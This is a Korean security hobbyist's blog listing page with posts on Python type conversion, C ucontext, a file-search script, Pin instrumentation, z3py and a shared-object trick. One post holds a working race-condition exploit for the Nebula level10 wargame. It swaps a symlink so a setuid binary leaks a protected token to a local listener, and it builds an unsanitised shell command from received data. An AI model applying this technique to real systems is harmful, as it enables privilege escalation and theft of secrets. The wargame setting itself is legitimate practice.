Be myself :: '분류 전체보기' 카테고리의 글 목록 (3 Page)

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

String변수를 Int형으로 바꾸는 방법을 정리해 본다. document에 나와있는 내용은 아닌데 다음과 같이 정리하면 편하다.(꼼수 라고 해야되나)


일단 String의 형태를 '아스키 코드형' , '인티저 형'으로 나눠보자.
'아스키 코드형'은 다음과 같은 형태의 String 형태를 말한다.'a', '1','\x01' 등등..
'인티저 형'은 '31', '0x31', '0x32' 등과 같이 String이지만 Int형의 형태로 나타내어 지는 것을 말한다.


그럼 여기서 변형이 나올 수 있는 형태는 총 3가지 이다.


1. 아스키 코드형 <-> 인티저형 ( String객체의 encode, decode 메서드를 이용한다.)
아스키 코드형 -> 인티저형( encode 메서드)
인티저형 -> 아스키코드형(decode 메서드)


2. 인티저형 <-> integer ( int() 와 str() 내장함수를 이용한다.)
인티저형 -> integer (int()내장함수 )
integer -> 인티저형(str() 내장함수)


3. 아스키 코드형 <-> Integer ( ord()와 chr() 내장함수를 이용한다.) 
아스키코드형 -> Integer( ord() 내장함수)
Integer ->아스키코드형( chr() 내장함수) 


'Python' 카테고리의 다른 글

Demon using nc.traditional  (0) 2016.01.07
os.execve 주의  (0) 2015.03.31
str과 repr의 차이  (0) 2015.02.22
with~as 구문  (0) 2015.02.22
개발 시 팁  (0) 2015.02.18
Posted by flack3r
|
#include <stdio.h>
#include <stdlib.h>
#include <ucontext.h>
#define MEM 64000

ucontext_t T1, T2, Main;
ucontext_t a;

int fn1()
{
  printf("this is from 1\n");
  setcontext(&Main);
}

void fn2()
{
  printf("this is from 2\n");
  setcontext(&a);
  printf("finished 1\n");
}

void start()
{
  getcontext(&a);
  a.uc_link=0;
  a.uc_stack.ss_sp=malloc(MEM);
  a.uc_stack.ss_size=MEM;
  a.uc_stack.ss_flags=0;
  makecontext(&a, (void*)&fn1, 0);
}

int main(int argc, char *argv[])
{
  start();
  getcontext(&Main);
  getcontext(&T1);
  T1.uc_link=0;
  T1.uc_stack.ss_sp=malloc(MEM);
  T1.uc_stack.ss_size=MEM;
  makecontext(&T1, (void*)&fn1, 0);
  swapcontext(&Main, &T1);

  getcontext(&T2);
  T2.uc_link=0;
  T2.uc_stack.ss_sp=malloc(MEM);
  T2.uc_stack.ss_size=MEM;
  T2.uc_stack.ss_flags=0;
  makecontext(&T2, (void*)&fn2, 0);
  swapcontext(&Main, &T2);
  printf("completed\n");
  exit(0);
}

[결과]

flack3r@ubuntu:/mnt/hgfs/Ctf$ ./test
this is from 1
this is from 2
this is from 1
completed


[*]주의 : swapcontext 와 setcontext의 역할은 비슷하지만 swapcontext는 현재 context정보를 첫번째 인자에 저장한 후 두번째 인자로 context가 변경되고 setcontext는 현재 context가 첫번째 인자로 바뀐다.

참조:http://stackoverflow.com/questions/21468529/context-switching-ucontext-t-and-makecontext

'memo' 카테고리의 다른 글

문자열 함수들 특징  (0) 2015.03.22
strcpy에 대한 팁.!  (0) 2015.03.10
qemu를 이용한 arm system 설치  (1) 2014.12.26
Posted by flack3r
|

특정 문자열을 가진 파일찾는 프로그램이다. 특정 함수의 상수 값을 확인 할 때 소스코드 위치 찾는게 너무 물편해서 간단히 만들어 봤다.
os.walk("/usr") 여기서 "/usr" 부분의 디렉토리만 바꾸면 다른 디렉토리를 중심으로 재귀적으러 traversal 하면서 찾아간다.


FindString.py



import os
import sys
import optparse

def FindString(msg,verbos):
	ResultFile = open("result","w")
	for (path,dirname,files) in os.walk("/usr"):
		for filenames in files:
			try:
				if verbos:
					print "[*]check "+path+"/"+filenames
				f = open(path+"/"+filenames,"r")
				buf = f.read()
				f.close()
				if msg in buf:
					ResultFile.write(path+"/"+filenames+"\n")
					print "[*]find "+path+"/"+filenames
			except:
				continue 

	ResultFile.close()

def main():
	parser = optparse.OptionParser(usage="FindString.py "+"-v True "+"Searc_String")
	parser.add_option("-v",dest="Vervos",type="string",help="Dicide whether print detail or not")

	(options,args) = parser.parse_args()
	if(len(args) == 0):
		print parser.usage
		return
	FindString(args[0],options.Vervos);	


if __name__ == '__main__':
	main()


Posted by flack3r
|

메뉴얼을 참고하면 처음 다음과 같은 말이 있다.


Conceptually, instrumentation consists of two components:

  • A mechanism that decides where and what code is inserted(instrumentation)

  • The code to execute at insertion points(analysis code)

즉 어디서 code 를 삽입할지 결정하는 메커니즘( 크게 4가지 메커니즘이 존재한다)과 그 code를 정의하는 부분이 필요하다.

위의 4가지 메커니즘을 보면 다음과 같다.

  • Trace Instrumentation: pintool processes one trace at a time by starting from the current instruction and ending with an unconditional branch (including calls and returns), which can be completed by using the TRACE_AddInstrumentFunction API call.
  • Instruction Instrumentation: pintool processes one instruction at a time, which can be completed by using the INS_AddInstrumentFunction API call.
  • Image Instrumentation: pintool processes an entire image where Pin can iterate over program sections, routines in a section or instructions in a routine. You can insert additional instructions before/after the routine is executed or before/after an instruction is executed. Here you have to use IMG_AddInstrumentFunction API call.
  • Routine Instrumentation: pintool processes one routine where Pin can iterate over instructions of a routine. Additional instructions can be inserted before/after routine execution or before/after instruction execution. Here you have to use RTN_AddInstrumentFunction API call.

  • There are a couple of callback functions that you can use with the pin framework and are presented below:

    • TRACE_AddInstrumentFunction: directly corresponds with the Trace Instrumentation Mode
    • INC_AddInstrumentFunction: directly corresponds with the Instruction Instrumentation Mode
    • IMG_AddInstrumentFunction: directly corresponds with the Image Instrumentation Mode
    • RTN_AddInstrumentFunction: directly corresponds with the Routine Instrumentation Mode
    • PIN_AddFiniFunction
    • PIN_AddDetachFunction
    (출처: http://resources.infosecinstitute.com/pin-dynamic-binary-instrumentation-framework/)

각각 부분을 간략히 설명하겠다.

1. TRACE부분은 BBL(Basic block: a single entrace, single exit sequence of instructions) 의 상위 개념인데 BBL은 간단하게 생각해서 어떤 분기문( if, goto ,call 등)에 의해 프로그램의 흐름이 바뀌었을 때 그 한 단락을 의미하고 TRACE는 처음 시작부분에서 끝날때 까지의 BBL 들의 연속된 리스트라고 생각하면 된다. 그림으로 보면 다음과 같다.





2. INS 같은 경우는 말 그대로 한 instruction에 대해 검사하는 것이다.


3. IMG 는 한 이미지가 로딩됬을때 호출되는 callback 함수로, 각종 라이브러리등이 로드될 때 호출된다.


4. RTN은 루틴단위로 호출된다.(하나의 함수단위로 호출된다고 생각하면 쉽다.)


따라서 위의 4개의 callback 함수로 어디서 code를 삽입할지 결정했다면, BBL_InsertCall이나 INS_InserCall, RTN_InsertCall 등으로 본인이 수행하고자 하는 코드를 등록하면 된다.

각각 예제가 궁금하신 분들은 메뉴얼 페이지에 잘 나와있으니 살펴보시라.

메뉴얼 페이지 : 메뉴얼

'Analysis' 카테고리의 다른 글

PinTool을 이용한 Instruction 추적하기, 간단한 ctf 풀이  (0) 2016.01.30
[smt solver]z3py 튜토리얼  (0) 2015.08.06
Pin tool 기본세팅  (1) 2015.07.17
Posted by flack3r
|

z3는 smt solver의 일종인데 간단하게 각종 수식들의 해답을 구해주는 일종의 공학계산기 역할이다. ㅋㅋ
소프트웨어 테스팅이나 생물학쪽, 역학 등등 여러분야에서 많이 쓰이는것 같다.

잘 정리된 문서는 다음과 같다: 튜토리얼 

일단 z3 설치는 https://github.com/Z3Prover/z3 여기 그대로 따라하면 됨
일단 간단한 연립방정식은 다음과 같이 풀린다

>>> from z3 import *

>>> x = Int('x')

>>> y = Int('y')

>>> solve(x+y>10,x>20)

[x = 21, y = -10]


변수를 실수범위 내에서 구하려면 다음과 같이 하면 됨.

>>> solve(x*y == 12,y==13)

[y = 13, x = 12/13]


또 그냥 solve메서드로 풀지 말고 Solver라는 객체를 생성해서 수식을 풀 수도 있다. 다음과 같이.

>>> x = Int('x')

>>> y = Int('y')

>>> s = Solver()

>>> s.add(x+y==3)

>>> s.add(y==2)

>>> s

[x + y == 3, y == 2]

>>> s.check()

sat

>>> s.model()

[y = 2, x = 1]


그리고 add 메서드로 로 수식 조건(constraints)를 추가하는데 잘못된 add를 막기 위해 약간의 스냅샷(?)기능이 존재한다 push() 와 pop()이다. 이를 이용하면 이전 상태로 돌아갈 수 있다.

>>> s

[x + y == 3, y == 2] >>> s.push()

>>> s.add(x<2)

>>> s.add(y**2>10)

>>> s

[x + y == 3, y == 2, x < 2, y**2 > 10]

>>> s.pop()

>>> s

[x + y == 3, y == 2]


마지막으로 함수기능을 설명하자면, 일단 간략한 정의는 다음과 같다.

Function('함수명', 입력값, 출력값)


>>> x = Int('x')

>>> y = Int('y')

>>> f = Function('f',IntSort(),IntSort())

>>> solve(f(f(x))==x,x+y==2)

[y = 0, x = 2, f = [2 -> 1, 1 -> 2, else -> 1]]

결과 값은 다음과 같이 해석하면 된다. 만약 y =0 이고 x =2 이고, f(x)의 상태는 다음과 같아야 한다. f(2) = 1, f(1) = 2, f(아무값) = 1 따라서, f(f(x))는 x가 2이므로 0이 성립( 합성함수 이므로) 하고 x+y ==2또한 성립한다.

'Analysis' 카테고리의 다른 글

PinTool을 이용한 Instruction 추적하기, 간단한 ctf 풀이  (0) 2016.01.30
Pin 기본 API살펴보기  (0) 2015.08.07
Pin tool 기본세팅  (1) 2015.07.17
Posted by flack3r
|

...2시간 동안 삽질해서 푼 레이스컨디션.. 파이썬 코드로 작성했다.


import os
import socket
import subprocess
import threading
import time
import signal

def read_until(s,msg):
	tmp = ""
	while True:
		tmp += s.recv(1)
		if msg in tmp:
			print tmp
			return

def GetFlag():
	s = socket.socket()
	Port = ('localhost',18211)
	s.bind(Port)
	s.listen(10)
	while True:
		cs,addr = s.accept()
		#print "[*]serer start "
		pid = os.fork()
		if pid==0:
			print "[*]server connection success ! "
			print read_until(cs,".oO Oo.")
			time.sleep(1)
			buf = cs.recv(100)
			print "[*]file is "+buf
			os.system("echo \""+buf+"\"> result")
			exit()
		else:
			os.waitpid(pid,0)
def Racefile():
	while True:
		os.system("rm -rf token")
		os.system("echo 'aaa' >> token")
		os.system("rm -rf token;ln -sf /home/flag10/token token")
			
def Attack():
	while True:
		args = "/home/flag10/flag10 token 127.0.0.1"
		proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE)
		output = proc.communicate()[0]
			
		#print "[*]result: %s" %(output)
		os.system("rm -rf token")

def main():
	pid = os.fork()
	if pid == 0:
		Racefile()

	pid2 = os.fork()
	if pid2 == 0:
		GetFlag()

	Attack()

if __name__ == '__main__':
	main()

ex.py

[*]server connection success ! 

.oO Oo.

None

[*]file is 

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27


[*]server connection success ! 


'Wargame' 카테고리의 다른 글

[pwnable.kr]nuclear  (0) 2015.12.22
[pwnable.kr]alloca  (0) 2015.12.18
[pwnable.kr]crypto1  (0) 2015.07.06
Codegate2015 bookstore  (0) 2015.07.01
[codegate2015]pirate_danbi  (0) 2015.05.12
Posted by flack3r
|

Pin tool 기본세팅

Analysis 2015. 7. 17. 00:11

일단 공식 홈페이지에서 .tar 을 받는다. 다운로드
pin 과 pin tool은 다르다. pin의 자세한 매커니즘은 잘 모르겠지만 intermediate representation(IR) 을 이용해서 각각의 인스트럭쳐가 해석된다. 이 때 각각 해석되는 변수들은 SSA-based(Static Single Assignment) 형태로 다뤄진다고 한다. SSA=based는 만약 a=3; a += 34; 라는 코드가 있다면 첫번째 a와 두번 째 a를 다르게 취급하는 형태 이다. 유사한 툴로는 Valgrind가 있다.

pin tool은 사용자가 공유라이브러리의 형태로 만들수 있고, pin에서 각각 인스트럭쳐를 fetch 하기 전, execute 한 후 , 라이브러리 로딩등의 상황에서 사용자가 원하는 행위들을 하도록 하게 해준다.
따라서 각각 상황에서 메모리 Status나 레지스터 값 등을 확인 할 수 있다.

이를 보안적 관점에서 바라보면, 만약 간단한 크랙미같은 것이 있다고 한다면, 각 if 문 전에 사용자 입력 값들이 어떻게 들어가는지 확인하고, 각각 값들을 심볼로 설정해 smt_solver 등과 함께 if문에 조건에 맞는 input값을 찾아내어 풀수있다. (이에 대한 것들은 구글링이나 http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin/ 여기를 참고하자) 더 발전해선 AEG(auto exploit generation) 등이나 제네릭한 퍼져도 만들 수 있을 것 같다.

아무튼, 일단 설치를 완료하면 pin을 컴파일 해야 할 것 같은데, 압푹을 풀면 바이너리가 있고 다양한 소스코드 예제들이 많다.. 메뉴얼과 튜토리얼 등을 참고해서 분석해 봐야겠다.

일단 pin 의 위치경로를 /etc/environment 에 설정하자. 그 다음 여기를 한번 보자.


다양한 소스들이 많다.. MyPinTool, ManualExamples... 등에 들어가서 makefile을 보면 makefile.rules을 인클루드 하고 있고 룰을 보면 다음과 같다 





컴파일 방법은 다음과 같다.

$ cd source/tools/ManualExamples
$ make obj-intel64/inscount0.so TARGET=intel64
$ cd source/tools/ManualExamples
$ make obj-ia32/inscount0.so TARGET=ia32

이 때 자기가 직접 만든 코드를 컴파일 하려고 하면 makefile.rules 에서 TEST_TOOL_ROOTS에 자기가 만든 파일명을 더 추가하고 위의 방법으로 컴파일 하면 된다. 실행은 다음과 같다.

$ ../../../pin -t obj-intel64/inscount0.so -- /bin/ls
Makefile          atrace.o     imageload.out  itrace      proccount
Makefile.example  imageload    inscount0      itrace.o    proccount.o
atrace            imageload.o  inscount0.o    itrace.out
$ cat inscount.out
Count 422838
$


핀 사이트 -> 사이트 가기 
핀 유저 가이드-> 유저 가이드

'Analysis' 카테고리의 다른 글

PinTool을 이용한 Instruction 추적하기, 간단한 ctf 풀이  (0) 2016.01.30
Pin 기본 API살펴보기  (0) 2015.08.07
[smt solver]z3py 튜토리얼  (0) 2015.08.06
Posted by flack3r
|

[pwnable.kr]crypto1

2015. 7. 6. 18:30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Codegate2015 bookstore

Wargame 2015. 7. 1. 22:38

풀이쓰기 귀찮아서 그냥 익스플로잇 코드만..

hint : [memory info leak, uaf(stack spray) ]

bookex.py


'Wargame' 카테고리의 다른 글

[exploit exercise]nebula level10  (0) 2015.08.05
[pwnable.kr]crypto1  (0) 2015.07.06
[codegate2015]pirate_danbi  (0) 2015.05.12
[pwnable.kr]echo2  (0) 2015.04.28
[pwnable.kr]echo1  (0) 2015.02.20
Posted by flack3r
|

shared object executable

Exploit 2015. 6. 27. 00:26

http://stackoverflow.com/questions/1449987/building-a-so-that-is-also-an-executable


/* pie.c */
#include <stdio.h>
int foo()
{
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return 42; 
}
int main() 
{ 
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return foo(); 
}


/* main.c */
#include <stdio.h>

extern int foo(void);
int main() 
{ 
  printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
  return foo(); 
}


$ gcc -fPIC -pie -o pie.so pie.c -Wl,-E
$ gcc main.c ./pie.so


$ ./pie.so
in main pie.c:9
in foo pie.c:4
$ ./a.out
in main main.c:6
in foo pie.c:4
$

use pie option

'Exploit' 카테고리의 다른 글

elf의 보호기법 파악  (0) 2014.10.09
메타스플로잇을 이용한 쉘코드 작성  (0) 2014.10.03
스택 보호기법  (2) 2014.09.22
Double free exploit  (0) 2014.09.17
RTL을 이용한 쉘코드 작성  (3) 2014.08.02
Posted by flack3r
|